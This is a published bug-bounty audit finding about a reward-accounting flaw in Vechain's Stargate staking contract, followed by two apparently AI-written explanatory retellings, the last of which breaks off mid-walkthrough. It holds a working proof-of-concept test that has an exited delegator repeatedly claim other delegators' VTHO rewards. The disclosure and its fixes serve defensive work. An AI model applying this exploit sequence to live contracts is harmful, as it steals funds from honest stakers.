Skip to content
Business logic Audit finding Advanced

Loss of funds - Delegators can claim rewards for periods where they had no stake

An exited delegator can still claim rewards for validator periods after their delegation ended, because a strict comparison in the claimable-period logic lets the window extend past the delegation's end period and the reward calculation never checks that the token was actually staked in that period. An attacker could repeatedly claim rewards from the pool, taking funds intended for honest delegators.

Vechain | Stargate Hayabusa

Originally disclosed on Immunefi

59919 sc high loss of funds delegators can claim rewards for periods where they had no stake

#59919 [SC-High] Loss of funds - Delegators can claim rewards for periods where they had no stake

Summary

An NFT (tokenId) that has EXITED a delegation can still claim rewards for periods after its delegation ended. This is caused by an underconstrained check in _claimableDelegationPeriods combined with missing membership checks in _claimableRewardsForPeriod. The issue allows repeated overclaiming of rewards from other delegators for periods in which the attacker no longer had stake.

{% stepper %} {% step %}

1. Delegate normally

When delegating, the contract sets:

Solidity
(, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(_validator);
// e.g. completedPeriods = 13

$.lastClaimedPeriod[_tokenId] = completedPeriods + 1; // = 14
_updatePeriodEffectiveStake($, _validator, _tokenId, completedPeriods + 2, true);
// => effective stake added starting from period 15
  • startPeriod becomes completedPeriods + 2 (e.g. 15).
  • lastClaimedPeriod is completedPeriods + 1 (e.g. 14) so the first claimable period is 15. {% endstep %}

{% step %}

2. Request exit while ACTIVE

When requesting exit during an ACTIVE delegation:

Solidity
// inside requestDelegationExit(...)
$.protocolStakerContract.signalDelegationExit(delegationId);

(, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(delegation.validator);
// e.g. completedPeriods = 14 (current validator period = 15)

_updatePeriodEffectiveStake($, delegation.validator, _tokenId, completedPeriods + 2, false);
// => remove effective stake starting from period 16
  • ProtocolStaker sets endPeriod to the period in which exit was requested (e.g. 15).
  • Checkpoint logic ensures the token is counted in delegatorsEffectiveStake for period 15 and excluded for periods ≥16.
  • From protocol perspective: delegation is active only in [startPeriod = 15, endPeriod = 15]. {% endstep %}

{% step %}

3. Let several validator periods pass

Time passes; validator keeps operating:

  • getValidationPeriodDetails now returns a much larger completedPeriods (e.g. 30).
  • currentValidatorPeriod = completedPeriods + 1 (e.g. 31).
  • Delegation details remain startPeriod = 15, endPeriod = 15 (delegation is EXITED).
  • delegatorsEffectiveStake includes token stake at period 15 only and excludes it for periods 16+. {% endstep %}

{% step %}

4. Claimable window erroneously extends past endPeriod

Inside _claimableDelegationPeriods the problematic check is:

Solidity
if (
    endPeriod != type(uint32).max &&
    endPeriod < currentValidatorPeriod &&
    endPeriod > nextClaimablePeriod  // <-- strict '>' causes bypass when endPeriod == nextClaimablePeriod
) {
    return (nextClaimablePeriod, endPeriod);
}

With startPeriod = 15, endPeriod = 15, currentValidatorPeriod = 31, and nextClaimablePeriod = 15:

  • endPeriod != max -> true
  • endPeriod < currentValidatorPeriod -> true (15 < 31)
  • endPeriod > nextClaimablePeriod -> false (15 > 15 is false)

So this branch is not taken. The fallback returns:

Solidity
if (nextClaimablePeriod < currentValidatorPeriod) {
    return (nextClaimablePeriod, completedPeriods); // (15, 30)
}

Therefore the claimable window becomes [15, 30] even though the delegation ended at 15. _claimableRewardsForPeriod then computes rewards for each of these periods. {% endstep %}

{% step %}

5. Repeatable theft

  • The delegation mapping is not cleared upon requesting exit.
  • After overclaiming, the attacker can wait for new periods and call claimRewards again.
  • The same flawed logic computes a claimable window that includes post-exit periods, allowing repeated claims. {% endstep %} {% endstepper %}

Root cause

Two logic issues combine to enable the exploit:

  1. Off-by-one / underconstrained check in _claimableDelegationPeriods:
Solidity
if (
    endPeriod != type(uint32).max &&
    endPeriod < currentValidatorPeriod &&
    endPeriod > nextClaimablePeriod  // strict '>' allows case endPeriod == nextClaimablePeriod to fallthrough
) {
    return (nextClaimablePeriod, endPeriod);
}

Because it uses strict > rather than >=, if endPeriod == nextClaimablePeriod the clause is bypassed, and the function can return a lastClaimablePeriod larger than endPeriod.

  1. Missing delegation membership check in _claimableRewardsForPeriod:
Solidity
uint256 effectiveStake = _calculateEffectiveStake($, _tokenId);
uint256 delegatorsEffectiveStake = $.delegatorsEffectiveStake[validator].upperLookup(_period);
if (delegatorsEffectiveStake == 0) {
    return 0;
}
return (effectiveStake * delegationPeriodRewards) / delegatorsEffectiveStake;
  • The function assumes if delegatorsEffectiveStake > 0 then the token is part of it.
  • It never checks whether _period lies in the delegation's [startPeriod, endPeriod].
  • After exit, the aggregator removed the token from delegatorsEffectiveStake for future periods, but effectiveStake for the token is still used in the numerator — enabling a share of rewards for periods it was not part of.

Combined, these issues let an exited delegator claim rewards for periods they were not staked.

Impact

  • Direct theft of funds (vtho) from rewards pools intended for currently-staked delegators.
  • Theft of unclaimed royalties / yield.
  • The attack is repeatable; an exited delegator can repeatedly overclaim as new periods pass.
  • Losses redistribute from honest delegators of the same validator to the attacker.

{% hint style="warning" %} This is a high-severity, repeatable exploit that allows a delegator to claim rewards for periods after they have exited — effectively stealing rewards from other delegators. {% endhint %}

Recommended mitigation

  • Revisit reward accounting around exited delegations.
  • Tighten _claimableDelegationPeriods checks so that when endPeriod == nextClaimablePeriod the returned last claimable period never exceeds endPeriod (e.g., use >= where appropriate or otherwise ensure correct bounds).
  • In _claimableRewardsForPeriod, ensure the token is actually a member of the delegators pool for the given period (i.e., verify the period is within [startPeriod, endPeriod] for that delegation) before using its effectiveStake in reward calculations.
  • Consider clearing or invalidating delegation mapping or effective stake for tokenIds upon exit in a way that prevents reusing stale effectiveStake values for future periods.

Proof of Concept

<details> <summary>Test PoC (Rewards.test.ts)</summary>
JavaScript
    it.only("should overclaim rewards after delegation exit due to off-by-one period bounds", async () => {
        const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);

        // User1 stakes & delegates tokenId1
        tx = await stargateContract.connect(user).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId1 = await stargateNFTMock.getCurrentTokenId();
        console.log("User1 staked tokenId1:", tokenId1);

        tx = await stargateContract.connect(user).delegate(tokenId1, validator.address);
        await tx.wait();
        console.log("User1 delegated tokenId1 to validator", validator.address);

        // User2 stakes & delegates tokenId2 to same validator
        // This keeps delegatorsEffectiveStake > 0 even after user1 exits.
        tx = await stargateContract.connect(otherUser).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId2 = await stargateNFTMock.getCurrentTokenId();
        console.log("User2 staked tokenId2:", tokenId2);

        tx = await stargateContract.connect(otherUser).delegate(tokenId2, validator.address);
        await tx.wait();
        console.log("User2 delegated tokenId2 to validator", validator.address);

        expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_PENDING);
        expect(await stargateContract.getDelegationStatus(tokenId2)).to.equal(DELEGATION_STATUS_PENDING);

        // Fast-forward so both delegations are ACTIVE and there are completed periods
        let currentPeriod = 5;
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, currentPeriod - 1);
        await tx.wait();
        console.log("Set validator completed periods to", currentPeriod - 1);

        expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_ACTIVE);
        expect(await stargateContract.getDelegationStatus(tokenId2)).to.equal(DELEGATION_STATUS_ACTIVE);

        // FIRST CLAIM while delegation is ACTIVE (before exit)
        // This should claim rewards from startPeriod up to completedPeriods (4),
        // leaving period 5 as the only remaining legitimate period.
        const preClaimBalanceUser = await vthoTokenContract.balanceOf(user.address);
        const firstClaimable = await stargateContract["claimableRewards(uint256)"](tokenId1);
        console.log("First claimable rewards (before exit):", firstClaimable);
        expect(firstClaimable).to.be.gt(0n);

        tx = await stargateContract.connect(user).claimRewards(tokenId1);
        const receipt1 = await tx.wait();
        console.log("User performed first claim, tx hash:", receipt1?.hash);

        const postFirstClaimBalance = await vthoTokenContract.balanceOf(user.address);
        expect(postFirstClaimBalance - preClaimBalanceUser).to.equal(firstClaimable);

        const claimableAfterFirst = await stargateContract["claimableRewards(uint256)"](tokenId1);
        console.log("Claimable rewards immediately after first claim:", claimableAfterFirst);
        expect(claimableAfterFirst).to.equal(0n);

        // At this point, the state for User1 looks like this:
        // - startPeriod  = 2
        // - lastClaimedPeriod = 4
        // - nextClaimablePeriod = 5

        // Request exit in current active period (currentPeriod = 5) so that endPeriod == currentPeriod = 5
        tx = await stargateContract.connect(user).requestDelegationExit(tokenId1);
        await tx.wait();
        console.log("-------------------------------------------");
        console.log("User requested delegation exit for tokenId1");

        // Still ACTIVE in current period immediately after request
        expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_ACTIVE);

        // Advance periods far beyond endPeriod so completedPeriods > endPeriod
        currentPeriod = 15;
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, currentPeriod - 1);
        await tx.wait();
        console.log("Set validator completed periods to", currentPeriod - 1);

        // Now delegation for tokenId1 should be EXITED
        expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_EXITED);

        // Fetch underlying delegation period details from ProtocolStakerMock
        const delegationId1 = await stargateContract.getDelegationIdOfToken(tokenId1);
        const [startPeriod, endPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegationId1);
        console.log("Delegation periods for tokenId1 -> start:", startPeriod, "end:", endPeriod);

        // Ask Stargate for claimable delegation periods AFTER exit
        const [firstClaimablePeriod, lastClaimablePeriod] = await stargateContract.claimableDelegationPeriods(tokenId1);
        console.log("Stargate claimable periods AFTER exit -> first:", firstClaimablePeriod, "last:", lastClaimablePeriod);

        // Intended invariant:
        //   lastClaimablePeriod <= endPeriod
        //
        // Actual (BUG):
        //   endPeriod == nextClaimablePeriod
        //   strict `endPeriod > nextClaimablePeriod` check fails
        //   fallback branch returns (nextClaimablePeriod, completedPeriods)
        //
        // So we get:
        //   firstClaimablePeriod == endPeriod
        //   lastClaimablePeriod  == completedPeriods (>> endPeriod)
        expect(firstClaimablePeriod).to.equal(endPeriod);
        expect(lastClaimablePeriod).to.be.gt(endPeriod); // window extends beyond delegation end

        // PROVE that this inflated period window leads to overclaiming rewards
        const secondClaimable = await stargateContract["claimableRewards(uint256)"](tokenId1);
        console.log("Second claimable rewards AFTER exit:", secondClaimable);
        expect(secondClaimable).to.be.gt(REWARDS_PER_PERIOD);

        const balanceBeforeSecondClaim = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId1);
        const receipt2 = await tx.wait();
        console.log("User1 performed second claim, tx hash:", receipt2?.hash);

        const balanceAfterSecondClaim = await vthoTokenContract.balanceOf(user.address);
        const actuallyClaimedSecond = balanceAfterSecondClaim - balanceBeforeSecondClaim;
        console.log("Actually claimed in second claim:", actuallyClaimedSecond);

        expect(actuallyClaimedSecond).to.equal(secondClaimable);
        expect(actuallyClaimedSecond).to.be.gt(REWARDS_PER_PERIOD);

        //the issue can keep repeating indefinitely
        console.log("------------------------------------");

        currentPeriod = 25;
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, currentPeriod - 1);
        await tx.wait();
        console.log("Set validator completed periods to", currentPeriod - 1);
        const delegationId2 = await stargateContract.getDelegationIdOfToken(tokenId1);
        const [startPeriod2, endPeriod2] = await protocolStakerMock.getDelegationPeriodDetails(delegationId2);
        console.log("Delegation periods for tokenId1 -> start:", startPeriod2, "end:", endPeriod2);

        const [firstClaimablePeriod2, lastClaimablePeriod2] = await stargateContract.claimableDelegationPeriods(tokenId1);
        console.log("Stargate claimable periods AFTER exit -> second:", firstClaimablePeriod2, "last:", lastClaimablePeriod2);

        const balanceBeforeThirdClaim = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId1);
        const receipt3 = await tx.wait();
        console.log("User1 performed third claim, tx hash:", receipt3?.hash);

        const balanceAfterThirdClaim = await vthoTokenContract.balanceOf(user.address);
        const actuallyClaimedThird = balanceAfterThirdClaim - balanceBeforeThirdClaim;
        console.log("Actually claimed in third claim:", actuallyClaimedThird);
    });

Test output (truncated):

  shard-u4: Stargate: Rewards
User1 staked tokenId1: 10001n
User1 delegated tokenId1 to validator 0x90F79bf6EB2c4f870365E785982E1f101E93b906
User2 staked tokenId2: 10002n
User2 delegated tokenId2 to validator 0x90F79bf6EB2c4f870365E785982E1f101E93b906
Set validator completed periods to 4
First claimable rewards (before exit): 150000000000000000n
User performed first claim, tx hash: 0x9dc2fa13...
Claimable rewards immediately after first claim: 0n
-------------------------------------------
User requested delegation exit for tokenId1
Set validator completed periods to 14
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> first: 5n last: 14n
Second claimable rewards AFTER exit: 750000000000000000n
User1 performed second claim, tx hash: 0x93d4d4c7...
Actually claimed in second claim: 750000000000000000n
------------------------------------
Set validator completed periods to 24
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> second: 13n last: 24n
User1 performed third claim, tx hash: 0xb9c5b1da...
Actually claimed in third claim: 800000000000000000n
    ✔ should overclaim rewards after delegation exit due to off-by-one period bounds (186ms)

As shown, the user repeatedly claims rewards for periods after exit.

</details>

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Loss of funds: delegators can claim rewards for periods where they had no stake

Context

This is a smart contract finding against the Vechain Stargate Hayabusa codebase, submitted to the Immunefi audit competition for that project. The target is Stargate.sol in the packages/contracts/contracts/ directory of the audit competition repository.

Stargate lets a user stake VET through an NFT (each stake is represented by a tokenId) and then delegate that NFT to a validator. Delegation happens in validator periods. When a token is delegated, the contract records a start period and, on exit, an end period, and the token earns a share of the validator's delegation rewards for the periods in which it was staked. The share is computed as the token's effective stake divided by the total effective stake of all delegators for that period.

Two internal functions matter here:

  • _claimableDelegationPeriods decides which range of periods a token may claim for.
  • _claimableRewardsForPeriod computes the reward for one period.

The report shows that an NFT that has already exited a delegation can still claim rewards for periods after its delegation ended, repeatedly, taking rewards that belong to the delegators who are actually staked.

Setup

The report is a smart contract review with a test proof of concept in Rewards.test.ts. The test uses mocks: stargateNFTMock, stargateContract, protocolStakerMock and vthoTokenContract. Two accounts are involved, user and otherUser, and a single validator. Rewards are paid in VTHO.

The test keeps another delegator on the validator so delegatorsEffectiveStake stays above zero after user1 exits. The test makes this explicit: user2 stakes and delegates tokenId2 to the same validator, which keeps delegatorsEffectiveStake greater than zero even after user1 exits.

The test also drives validator periods forward with protocolStakerMock.helper__setValidationCompletedPeriods, so the researcher can simulate many periods passing without waiting for real time.

Finding it

The intended invariant is simple: the last claimable period must never be later than the delegation's endPeriod. In _claimableDelegationPeriods the bound is enforced with a strict comparison:

Solidity
if (
    endPeriod != type(uint32).max &&
    endPeriod < currentValidatorPeriod &&
    endPeriod > nextClaimablePeriod  // <-- strict '>' causes bypass when endPeriod == nextClaimablePeriod
) {
    return (nextClaimablePeriod, endPeriod);
}

When endPeriod equals nextClaimablePeriod, the third condition is false, the branch is skipped, and the function falls through to the fallback:

Solidity
if (nextClaimablePeriod < currentValidatorPeriod) {
    return (nextClaimablePeriod, completedPeriods); // (15, 30)
}

That fallback returns completedPeriods as the last claimable period, which can be far beyond endPeriod. The second half of the bug is in _claimableRewardsForPeriod, which never checks that the period being claimed lies inside the delegation's [startPeriod, endPeriod]:

Solidity
uint256 effectiveStake = _calculateEffectiveStake($, _tokenId);
uint256 delegatorsEffectiveStake = $.delegatorsEffectiveStake[validator].upperLookup(_period);
if (delegatorsEffectiveStake == 0) {
    return 0;
}
return (effectiveStake * delegationPeriodRewards) / delegatorsEffectiveStake;

The function assumes that if delegatorsEffectiveStake > 0 then this token is part of it. After exit, the aggregator has removed the token from delegatorsEffectiveStake for future periods, but the token's own effectiveStake is still used in the numerator, so the token gets a share of rewards for periods it was not part of.

Exploitation

1. Delegate normally

When delegating, the contract sets:

Solidity
(, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(_validator);
// e.g. completedPeriods = 13

$.lastClaimedPeriod[_tokenId] = completedPeriods + 1; // = 14
_updatePeriodEffectiveStake($, _validator, _tokenId, completedPeriods + 2, true);
// => effective stake added starting from period 15

startPeriod becomes completedPeriods + 2 (15 in the example). lastClaimedPeriod is completedPeriods + 1 (14), so the first claimable period is 15.

2. Request exit while ACTIVE

When requesting exit during an ACTIVE delegation:

Solidity
// inside requestDelegationExit(...)
$.protocolStakerContract.signalDelegationExit(delegationId);

(, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(delegation.validator);
// e.g. completedPeriods = 14 (current validator period = 15)

_updatePeriodEffectiveStake($, delegation.validator, _tokenId, completedPeriods + 2, false);
// => remove effective stake starting from period 16

The protocol staker sets endPeriod to the period in which exit was requested (15). Checkpoint logic ensures the token is counted in delegatorsEffectiveStake for period 15 and excluded for periods 16 and later. From the protocol's perspective the delegation is active only in [startPeriod = 15, endPeriod = 15].

3. Let several validator periods pass

The validator keeps operating. getValidationPeriodDetails now returns a much larger completedPeriods (30), so currentValidatorPeriod is 31. The delegation details remain startPeriod = 15, endPeriod = 15, and the delegation is EXITED. delegatorsEffectiveStake includes the token's stake at period 15 only and excludes it for periods 16 and later.

4. Claimable window erroneously extends past endPeriod

With startPeriod = 15, endPeriod = 15, currentValidatorPeriod = 31 and nextClaimablePeriod = 15, the three conditions in _claimableDelegationPeriods evaluate as follows:

  • endPeriod != max is true.
  • endPeriod < currentValidatorPeriod is true (15 < 31).
  • endPeriod > nextClaimablePeriod is false (15 > 15 is false).

The branch is not taken, so the fallback returns (nextClaimablePeriod, completedPeriods), that is (15, 30). The claimable window becomes [15, 30] even though the delegation ended at 15, and _claimableRewardsForPeriod then computes rewards for each of those periods.

5. Repeatable theft

The delegation mapping is not cleared when exit is requested. After overclaiming, the attacker can wait for new periods and call claimRewards again. The same flawed logic computes a claimable window that includes post-exit periods, so the claim can be repeated.

Proof of concept

The test in Rewards.test.ts walks through the whole sequence. User1 stakes and delegates tokenId1; user2 stakes and delegates tokenId2 to the same validator so that delegatorsEffectiveStake stays above zero after user1 exits. Both delegations are moved to ACTIVE by setting completed periods to 4.

User1 claims once while still ACTIVE. The first claimable amount is 150000000000000000n, the claim succeeds, and the claimable amount immediately afterwards is 0n. At this point the state is startPeriod = 2, lastClaimedPeriod = 4, nextClaimablePeriod = 5.

User1 then calls requestDelegationExit(tokenId1) in period 5, so endPeriod == currentPeriod == 5. The delegation is still ACTIVE immediately after the request. Completed periods are then set to 14, which makes the delegation EXITED. The delegation period details come back as start: 2n end: 5n, but claimableDelegationPeriods(tokenId1) returns first: 5n last: 14n. The test asserts the intended invariant and the bug explicitly:

JavaScript
expect(firstClaimablePeriod).to.equal(endPeriod);
expect(lastClaimablePeriod).to.be.gt(endPeriod); // window extends beyond delegation end

The second claimable amount after exit is 750000000000000000n, which is greater than REWARDS_PER_PERIOD, and the second claim pays exactly that amount. The test then advances completed periods to 24. The delegation periods are still start: 2n end: 5n, and claimableDelegationPeriods now returns second: 13n last: 24n. A third claim pays 800000000000000000n. The truncated test output confirms the sequence:

Text
  shard-u4: Stargate: Rewards
User1 staked tokenId1: 10001n
User1 delegated tokenId1 to validator [redacted]
User2 staked tokenId2: 10002n
User2 delegated tokenId2 to validator [redacted]
Set validator completed periods to 4
First claimable rewards (before exit): 150000000000000000n
User performed first claim, tx hash: 0x9dc2fa13...
Claimable rewards immediately after first claim: 0n
-------------------------------------------
User requested delegation exit for tokenId1
Set validator completed periods to 14
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> first: 5n last: 14n
Second claimable rewards AFTER exit: 750000000000000000n
User1 performed second claim, tx hash: 0x93d4d4c7...
Actually claimed in second claim: 750000000000000000n
------------------------------------
Set validator completed periods to 24
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> second: 13n last: 24n
User1 performed third claim, tx hash: 0xb9c5b1da...
Actually claimed in third claim: 800000000000000000n
    ✔ should overclaim rewards after delegation exit due to off-by-one period bounds (186ms)

Root cause

Two logic issues combine:

  1. An off-by-one, underconstrained check in _claimableDelegationPeriods. Because the comparison is strict > rather than >=, the case endPeriod == nextClaimablePeriod falls through to the fallback, which can return a last claimable period larger than endPeriod.
  2. A missing delegation membership check in _claimableRewardsForPeriod. The function never verifies that _period lies in the delegation's [startPeriod, endPeriod]. After exit the aggregator has removed the token from delegatorsEffectiveStake for future periods, but the token's effectiveStake is still used in the numerator, so the token receives a share of rewards for periods it was not part of.

Together these let an exited delegator claim rewards for periods in which they were not staked.

Impact

The report describes this as direct theft of funds (VTHO) from reward pools intended for currently staked delegators, and theft of unclaimed royalties and yield. The attack is repeatable: an exited delegator can overclaim again as new periods pass. Losses are redistributed from honest delegators of the same validator to the attacker. The report rates it high severity, and the attack is repeatable.

Fix

The report recommends revisiting reward accounting around exited delegations, and specifically:

  • Tighten _claimableDelegationPeriods so that when endPeriod == nextClaimablePeriod the returned last claimable period never exceeds endPeriod, for example by using >= where appropriate or otherwise ensuring correct bounds.
  • In _claimableRewardsForPeriod, verify that the token is actually a member of the delegators pool for the given period, that is, that the period is within [startPeriod, endPeriod] for that delegation, before using its effectiveStake in reward calculations.
  • Consider clearing or invalidating the delegation mapping or effective stake for tokenIds on exit, so stale effectiveStake values cannot be reused for future periods.

Variants to test

  • Any reward or yield accounting that stores a per-entity start and end period and computes a claimable range: check the boundary where the next unclaimed period equals the end period. A positive result is a claimable range whose last period is greater than the recorded end period.
  • Reward share formulas of the form entityStake * periodRewards / totalStake: check whether the entity's membership in the total for that period is verified. A positive result is a non-zero payout for a period in which the entity was not counted in the total.
  • Delegation or staking exit flows: check whether the delegation record is cleared or invalidated on exit. A positive result is a stale record that still produces payouts after exit.
  • Repeat-claim scenarios: after one overclaim, advance periods and claim again. A positive result is a second payout for periods after the recorded end.

Hunting notes

The signals during review are strict versus non-strict comparisons at the boundary, fallback returns that use a global counter such as completedPeriods instead of the entity's own end period, and reward formulas that divide by a total without checking that the claimant is part of that total.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

A blockchain project called Vechain runs a staking system called Stargate Hayabusa. People lock up a cryptocurrency called VET to help run the network, and in return they earn rewards in another cryptocurrency called VTHO. To make this easier, each stake is represented by a digital collectible, an NFT, and the NFT can be handed to a validator (a computer operator that helps produce new blocks and earns rewards for doing so).

A researcher found that a person who has already taken their stake back out (exited the delegation) can keep asking for rewards for time periods after they left. The contract that pays rewards has a small mistake in how it works out which time periods a person is allowed to claim for, and a second mistake in how it works out the size of the payout. Together these let an ex-delegator collect rewards that belong to the people who are still staked. The researcher showed this with an automated test that claims rewards three times, twice after exiting.

This article walks through the report: what the product does, what the two buggy functions are supposed to do, how the test proves the flaw, what the impact is, and how the project should fix it. Every code snippet is copied from the report, and after each one there is a plain-language explanation.

Background you need first

Before the details make sense, here are the ideas the report relies on. Each is explained from zero.

Blockchain, smart contracts and tokens

A blockchain is a shared ledger that many computers keep copies of. Nobody can quietly change past entries, because everyone else would notice. A smart contract is a program that lives on the blockchain. It runs automatically when someone sends it a transaction, and it holds funds. A token is a digital asset tracked by a contract. VET and VTHO are two such tokens on Vechain.

An everyday comparison: a smart contract is like a vending machine bolted to the pavement. Anyone can press buttons and put coins in, and the machine follows its programmed rules exactly. If the rules have a gap, someone can press the buttons in an order the designer did not expect and get more than they paid for.

Staking, delegation and validators

Staking means locking tokens up for a while to support the network. A validator is an operator that produces blocks and earns rewards. Delegation means lending your staked tokens to a validator so that both of you share the rewards. In this system, each stake is wrapped in an NFT (a non-fungible token, a unique digital item). The contract refers to each one by a number called a tokenId. So tokenId1 and tokenId2 in the test are two different stakes owned by two different people.

Periods

The system counts time in validator periods. A period is a fixed stretch of time during which a validator operates. Rewards are calculated per period. When you delegate, the contract records the period you started in (the startPeriod). When you exit, it records the period you left in (the endPeriod). You should only earn rewards for periods between those two, inclusive.

An everyday comparison: a period is like a month on a gym membership. You pay for January to March, so you can use the gym in January, February and March. You should not be able to walk in during April just because the receptionist's calendar has moved on.

Effective stake and the reward formula

Each delegator has an effective stake, the amount they have contributed. The total of everyone's effective stake for a period is stored in a mapping called delegatorsEffectiveStake. A mapping is like a lookup table: you give it a key (here, a validator and a period) and it gives you a value (the total stake).

The reward for one delegator in one period is calculated as:

This is a fair-share formula. If you contributed a quarter of the total stake, you get a quarter of the rewards. The bug is that the contract never checks whether you were actually part of the total for the period being paid out.

The two functions at the centre of the bug

  • _claimableDelegationPeriods decides which range of periods a token is allowed to claim for. It returns a first period and a last period.
  • _claimableRewardsForPeriod calculates the reward for one specific period.

The report shows that the first function can return a range that stretches past the delegation's end, and the second function happily pays for those extra periods.

What a test proof of concept is

A proof of concept (PoC) is a demonstration that a bug is real. Here it is an automated test written in TypeScript, a programming language, and run with a testing framework. The test uses mocks, which are stand-in versions of the real contracts that the researcher can control. For example, protocolStakerMock.helper__setValidationCompletedPeriods lets the test pretend that many periods have passed without waiting for real time. The test checks balances of the VTHO token before and after each claim to show the payout.

The setup

The report is a smart contract review with a test in a file called Rewards.test.ts. The target is Stargate.sol, in the packages/contracts/contracts/ directory of the audit competition repository.

The test uses four mock contracts: stargateNFTMock, stargateContract, protocolStakerMock and vthoTokenContract. Two accounts are involved, user and otherUser, and a single validator. Rewards are paid in VTHO.

The test keeps another delegator on the validator so delegatorsEffectiveStake stays above zero after user1 exits. The test makes this explicit by having user2 stake and delegate tokenId2 to the same validator. That keeps delegatorsEffectiveStake above zero even after user1 leaves.

The test also drives periods forward with protocolStakerMock.helper__setValidationCompletedPeriods, so the researcher can simulate many periods passing without waiting for real time.

Finding it

The intended rule is simple: the last claimable period must never be later than the delegation's endPeriod. In _claimableDelegationPeriods the bound is enforced with a strict comparison:

Solidity
if (
    endPeriod != type(uint32).max &&
    endPeriod < currentValidatorPeriod &&
    endPeriod > nextClaimablePeriod  // <-- strict '>' causes bypass when endPeriod == nextClaimablePeriod
) {
    return (nextClaimablePeriod, endPeriod);
}

Line by line:

  • endPeriod != type(uint32).max checks that the delegation has actually ended. type(uint32).max is the largest number that fits in a 32-bit unsigned integer, and the contract uses it as a sentinel meaning "no end yet". If the end period is that sentinel, the delegation is still open and this branch should not run.
  • endPeriod < currentValidatorPeriod checks that the end period is in the past relative to the current period. In other words, the delegation has finished.
  • endPeriod > nextClaimablePeriod is the faulty line. It asks whether the end period is strictly later than the next period the token has not yet claimed. If the two are equal, this is false.
  • If all three are true, the function returns the range from nextClaimablePeriod to endPeriod. That is the correct, safe answer.

The problem is the third condition. When endPeriod equals nextClaimablePeriod, the condition is false, the whole if is skipped, and the function falls through to a fallback:

Solidity
if (nextClaimablePeriod < currentValidatorPeriod) {
    return (nextClaimablePeriod, completedPeriods); // (15, 30)
}

Line by line:

  • nextClaimablePeriod < currentValidatorPeriod checks that there is at least one period left to claim.
  • return (nextClaimablePeriod, completedPeriods) returns a range that ends at completedPeriods, which is a global counter of how many periods the validator has finished. That number can be far beyond the delegation's own endPeriod.

So the guarded branch returns the safe range, but the fallback returns a much wider one. The second half of the bug is in _claimableRewardsForPeriod, which never checks that the period being claimed lies inside the delegation's [startPeriod, endPeriod]:

Solidity
uint256 effectiveStake = _calculateEffectiveStake($, _tokenId);
uint256 delegatorsEffectiveStake = $.delegatorsEffectiveStake[validator].upperLookup(_period);
if (delegatorsEffectiveStake == 0) {
    return 0;
}
return (effectiveStake * delegationPeriodRewards) / delegatorsEffectiveStake;

Line by line:

  • uint256 effectiveStake = _calculateEffectiveStake($, _tokenId); works out how much stake this particular token represents. uint256 is a whole number type that cannot be negative.
  • uint256 delegatorsEffectiveStake = $.delegatorsEffectiveStake[validator].upperLookup(_period); looks up the total stake of all delegators for this validator in this period. upperLookup is a lookup on a data structure that stores values over time.
  • if (delegatorsEffectiveStake == 0) { return 0; } says: if nobody is staked in this period, pay nothing. This is the only guard.
  • return (effectiveStake * delegationPeriodRewards) / delegatorsEffectiveStake; is the fair-share formula: your stake times the period's rewards, divided by the total stake.

The function assumes that if delegatorsEffectiveStake > 0 then this token is part of it. After exit, the aggregator has removed the token from delegatorsEffectiveStake for future periods, but the token's own effectiveStake is still used in the numerator. So the token gets a share of rewards for periods it was not part of. The zero check only catches the case where nobody at all is staked; it does not catch the case where other people are staked but this token is not.

Exploitation

The report walks through the attack in five steps. Each step is a normal action that any user could take; the bug is in how the contract responds.

1. Delegate normally

When delegating, the contract sets:

Solidity
(, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(_validator);
// e.g. completedPeriods = 13

$.lastClaimedPeriod[_tokenId] = completedPeriods + 1; // = 14
_updatePeriodEffectiveStake($, _validator, _tokenId, completedPeriods + 2, true);
// => effective stake added starting from period 15

Line by line:

  • (, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(_validator); asks the staking contract how many periods this validator has finished. The empty commas skip values the code does not need. In the example, 13 periods are done.
  • $.lastClaimedPeriod[_tokenId] = completedPeriods + 1; records that this token has claimed up to period 14. That means the first period it can claim for is 15.
  • _updatePeriodEffectiveStake($, _validator, _tokenId, completedPeriods + 2, true); adds the token's stake starting from period 15. The true means "add".

So startPeriod becomes completedPeriods + 2 (15 in the example), and lastClaimedPeriod is completedPeriods + 1 (14). The first claimable period is 15. This is the normal, correct setup.

2. Request exit while ACTIVE

When requesting exit during an ACTIVE delegation:

Solidity
// inside requestDelegationExit(...)
$.protocolStakerContract.signalDelegationExit(delegationId);

(, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(delegation.validator);
// e.g. completedPeriods = 14 (current validator period = 15)

_updatePeriodEffectiveStake($, delegation.validator, _tokenId, completedPeriods + 2, false);
